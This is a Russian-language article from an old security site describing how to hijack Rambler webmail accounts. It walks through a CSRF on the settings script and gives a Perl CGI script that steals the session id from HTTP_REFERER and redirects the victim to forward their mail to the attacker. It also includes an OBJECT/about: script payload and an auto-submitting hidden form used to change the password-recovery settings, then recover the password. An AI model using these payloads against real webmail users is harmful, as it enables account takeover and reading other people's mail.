| |||
[network & security news] [RSS & Twitter] [articles, programing info] [books] [links, soft & more...] [soft archive] | [home] |
Проблемы безопасности Веб-интерфейсов почтовых сервисов на примере rambler.ruHi, ALL.
Некоторое время я занимался изучением дырдочек в Web-почтовиках (Rambler, HotBox и
т.п.) Сразу оговорюсь, что я рассматривал их с точки зрения использования через Веб-
броузеры (HTTP), точнее IE, а не как стандартные почтовики (POP, SMTP).
Когда-то давно на Rambler'e была такая схема: пользователь логинился, получал
cookie, который вместе с IP-адресом использовался для дальнейшей идентификации
пользователя в течение сессии, причем не только при работе с почтой, но и при
настройке почтового ящика. При настройке ящика, после нажатия на 'Submit',
содержимое полей формы передавалось методом POST по адресу соответствующего скрипта
(пусть будет 'settings.cgi'), причем повторюсь, что идентификация почтового ящика,
настройки которого надо изменить, происходила по cookie и IP-адресу. Кроме того,
скрипт принимал данные безразлично как из запросов POST, так и GET. Механизм 'атаки'
в таком случае весьма прост: создается письмо содержащее тэг: Видимо, эта часть дырочки была замечена, поэтому появилась новая версия почтовика. Теперь кроме cookie, IP-адреса для идентификации стал использоваться ещё и некий ключ, представляющий собой строку буквенных и цифровых символов после 'id=', генерируемую случайным образом при каждом входе пользователя в систему и передаваемую методом GET при каждом последующем обращении к серверу (этот ключ виден в строке ввода 'Address' броузера). И хотя скрипт до сих пор принимал значения полей форм, переданные как в POST, так и GET, предыдущий вариант уже не прокатывал, так как невозможно прописать в письме ключ, который сгенерируется только во время прочтения этого письма пользователем в будущем. На лицо нарушение пространственно-временного контилиума. Использовать скрипт для получения id из document.location в теле письма не имеет смысла, т.к. почти все почтовики вырезают скрипты. Но выход есть, и находится он в переменной окружения CGI 'HTTP_REFERER'. Изменяем механизм: оставляем тег 'IMG', но вместо адреса скрипта изменения настроек пишем адрес нашего скрипта. Вот тут и понадобится небольшое знание Perl (хотя подойдет и любой другой язык для написания CGI-скрипта или CGI-приложения) и хостинг с поддержкой пользовательских скриптов. Вот этот скрипт: $ref = $ENV{'HTTP_REFERER'}; # Получаем URL $ref =~ /^.*\?id=([A-za-z0-9]*)\&/s; # Вырезаем ключ $mail = 'my_mail@mail.ru'; # e-mail для переадресованных писем # Формируем запрос GET $url = "http://www.server.ru/settings.cgi?id=$1&mailredir=$mail&self=yes; print "Content-Type: text/html\n\n"; print "<HTML><HEAD>"; print "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0; URL=$url\">"; print "</HEAD></HTML>"; Идея такова: при открытии письма в окне броузера, броузер пытается загрузить картинку, отправляет запрос нашему скрипту. Скрипт принимает запрос, получает значение переменной CGI-окружения 'HTTP_REFERER', которая содержит URL документа, загруженного в данный момент браузером "жертвы", вместе с GET-параметрами. Т.о. мы получаем тот самый замысловатый id - случайный ключ. Далее формируется запрос скрипту изменения настроек со всеми необходимыми параметрами: ключом (id), адресом пересылки (mailredir) и указанием оставлять локальную копию (self). Все это дело вставляется в мета-тэг редиректа на другую страницу и отправляется обратно броузеру. Тот, получив это добро, делает редирект, а далее все, как и в первом случае.
Но вскоре и такая дырочка была закрыта путем замещения каких-либо URL в теле письма
на такую запись: "www.server.ru/redirect.cgi?url='some_url'". Т.е. теперь любое
обращение из тела письма проходит через своеобразный шлюз (redirect.cgi), который
производит редирект по указанному 'some_url' и т.о. отсекает возможность получения
id из 'HTTP_REFERER', т.к. в этой переменной будет содержаться либо лишь адрес
скрипта (www.server.ru/redirect.cgi), либо вообще ничего. Т.е. вариант с внешним
скриптом-шпионом отпадает. <OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389> <PARAM NAME="URL" VALUE="about:<SCRIPT>alert(document.location);</SCRIPT>"> </OBJECT>
Можете проверить: если вставить этот кусок в тело письма, при просмотре письма в
окне броузера появится MessageBox с URL документа, где явно просматривается
необходимый нам id. <IFRAME SRC="about: <HTML> <BODY onload='javascript:forms(0).submit();'> <FORM METHOD='POST'> ............... </FORM> </BODY> </HTML> ">
Теперь мы можем, послав "жертве" письмо, изменить в настройках ящика вопрос и ответ
для системы напоминания паролей, а также адрес почтового ящика, куда этот пароль
будет выслан. После того, как "жертва" просмотрит такое письмо (нужно вставить
какой-нибудь текст в письмо для отвода глаз), мы сможем, воспользовавшись системой
напоминания получить пароль. И всё было бы здорово, да не работает последнее время система напоминания на Rambler'e... Не знаю чем это вызвано и как надолго. Есть один обходной и нестройный путь: узнать, есть ли у "жертвы" ещё один почтовый ящик не на Rambler'e, для которого ящик на Rambler'e являлся бы базовым, т.е. куда будет направлен пароль системой напоминания. Если такой ящик есть, то можно временно переадресовать всю входящую почту на Rambler'e к себе в ящик, воспользоваться системой напоминания пароля другого ящика, получить переадресованное письмо с паролем и отменить после этого переадресацию. "Вот, пожалуй, и всё, что я знаю о креветках..." (Ба-Ба, "Форест Гамп") СсылкиGeorgi Guninski Security Research Некоторые методы взлома почтового ящика с WWW-интерфейсом (на примере www.mail.ru) [c] BioUnit, (biohack@pochtamt.ru)
Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы
не отвечаем ни за какие последствия, которые имели место как следствие использования
этих материалов\программ. Вы используете все вышеперечисленное на свой страх и риск. |
[network & security news] [RSS & Twitter] [articles, programing info] [books] [links, soft & more...] [soft archive] | [home] | ||
|
2000-2015 © uinC Team |